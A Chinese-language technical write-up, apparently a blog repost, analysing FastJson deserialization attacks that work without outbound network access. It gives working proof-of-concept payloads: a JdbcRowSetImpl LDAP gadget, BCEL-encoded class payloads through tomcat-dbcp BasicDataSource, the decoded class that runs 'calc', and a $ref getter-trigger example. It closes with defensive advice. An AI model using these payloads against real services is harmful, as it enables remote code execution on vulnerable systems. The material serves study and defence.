浅析FastJson不出网利用方式
字数 1129 2025-08-06 18:07:56

FastJson不出网利用方式深度分析

0x01 出网利用方式:JdbcRowSetImpl

在FastJson的出网利用中,JdbcRowSetImpl是一个经典的利用点:

public class FastJsonJdbcRowSetImpl {
    public static void main(String[] args) throws Exception{
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}";
        JSON.parseObject(s);
    }
}

利用原理

  • 类名:com.sun.rowset.JdbcRowSetImpl(通过@type指定)
  • 关键参数:DataSourceName设置为RMI或LDAP地址
  • 触发点:AutoCommit布尔型参数触发set方法

限制条件

  • 需要出网环境
  • 有版本和依赖限制

0x02 不出网利用方式:BCEL ClassLoader

BCEL利用原理

ClassLoader.loadClass方法中存在特殊处理:

protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException {
    // 当类名以
$$
BCEL
$$
开头时,会创建该类
    if(class_name.indexOf("
$$
BCEL
$$
") >= 0)
        clazz = createClass(class_name);
    // 使用defineClass加载字节码
    cl = defineClass(class_name, bytes, 0, bytes.length);
}

BCEL编码过程

  1. 使用BCEL的RepositoryUtility类:
    • Repository:将Java Class转换为原生字节码
    • Utility:将原生字节码转换为BCEL格式
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
Class.forName("
$$
BCEL
$$
" + encode, true, new ClassLoader());

利用链分析

利用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

  1. 关键方法createConnectionFactory()

    if (driverClassLoader == null) {
        driverFromCCL = Class.forName(driverClassName);
    } else {
        driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
    }
    
  2. 利用条件

    • FastJson ≤ 1.2.24
    • 需要dbcp或tomcat-dbcp依赖
  3. 完整调用链

    • BasicDataSource.getConnection()
    • BasicDataSource.createDataSource()
    • BasicDataSource.createConnectionFactory()
    • Class.forName()触发BCEL ClassLoader

POC详解

JSON.parse触发方式

String payload2 = "{\n" +
    "    {\n" +
    "        \"ki10\":{\n" +
    "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\": \"
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j
$$
$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
    "        }\n" +
    "    }: \"Moc\"\n" +
    "}";
JSON.parse(payload2);

JSON.parseObject触发方式

String s = "{\n" +
    "               \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\": \"
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j
$$
$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
    "        }";
JSON.parseObject(s);

BCEL Payload解码

BCEL编码的payload实际上是以下恶意类的编码形式:

package com.p1ay2win.fastjson;

import java.io.IOException;

public class Evil {
    public Evil() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

解码方法:

public class BCELDecode {
    public static void main(String[] args) throws IOException {
        String encode = "$l$8b$I$A$A$A$A$A$A$A...";
        byte[] decode = Utility.decode(encode,true);
        FileOutputStream fileOutputStream = new FileOutputStream("DecodeClass.class");
        fileOutputStream.write(decode);
    }
}

0x03 JSON.parse如何调用get方法:$ref利用

利用原理

通过$ref可以触发getter方法的调用:

public class Test {
    private String cmd;

    public String getCmd() throws IOException {
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }
}

POC示例

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);

调试流程

  1. 处理refvalue

    • 判断是否以$开头
    • 获取对象:$[0]表示数组第一个元素
    • $[0].cmd获取第一个元素的cmd属性值
  2. JSONPath解析

    JSONPath.eval()
    JSONPath.compile()
    
  3. 反射调用

    • 最终通过getPropertyValue()反射调用getter方法

防御建议

  1. 升级FastJson到最新安全版本
  2. 关闭autotype功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
  3. 使用白名单机制限制反序列化的类
  4. 检查并移除不必要的依赖(如dbcp、tomcat-dbcp等)
FastJson不出网利用方式深度分析 0x01 出网利用方式:JdbcRowSetImpl 在FastJson的出网利用中,JdbcRowSetImpl是一个经典的利用点: 利用原理 : 类名: com.sun.rowset.JdbcRowSetImpl (通过 @type 指定) 关键参数: DataSourceName 设置为RMI或LDAP地址 触发点: AutoCommit 布尔型参数触发set方法 限制条件 : 需要出网环境 有版本和依赖限制 0x02 不出网利用方式:BCEL ClassLoader BCEL利用原理 在 ClassLoader.loadClass 方法中存在特殊处理: BCEL编码过程 使用BCEL的 Repository 和 Utility 类: Repository :将Java Class转换为原生字节码 Utility :将原生字节码转换为BCEL格式 利用链分析 利用 org.apache.tomcat.dbcp.dbcp2.BasicDataSource : 关键方法 : createConnectionFactory() 利用条件 : FastJson ≤ 1.2.24 需要dbcp或tomcat-dbcp依赖 完整调用链 : BasicDataSource.getConnection() BasicDataSource.createDataSource() BasicDataSource.createConnectionFactory() Class.forName() 触发BCEL ClassLoader POC详解 JSON.parse触发方式 : JSON.parseObject触发方式 : BCEL Payload解码 BCEL编码的payload实际上是以下恶意类的编码形式: 解码方法: 0x03 JSON.parse如何调用get方法:$ref利用 利用原理 通过 $ref 可以触发getter方法的调用: POC示例 调试流程 处理refvalue : 判断是否以 $ 开头 获取对象: $[0] 表示数组第一个元素 $[0].cmd 获取第一个元素的cmd属性值 JSONPath解析 : 反射调用 : 最终通过 getPropertyValue() 反射调用getter方法 防御建议 升级FastJson到最新安全版本 关闭autotype功能: ParserConfig.getGlobalInstance().setAutoTypeSupport(false) 使用白名单机制限制反序列化的类 检查并移除不必要的依赖(如dbcp、tomcat-dbcp等)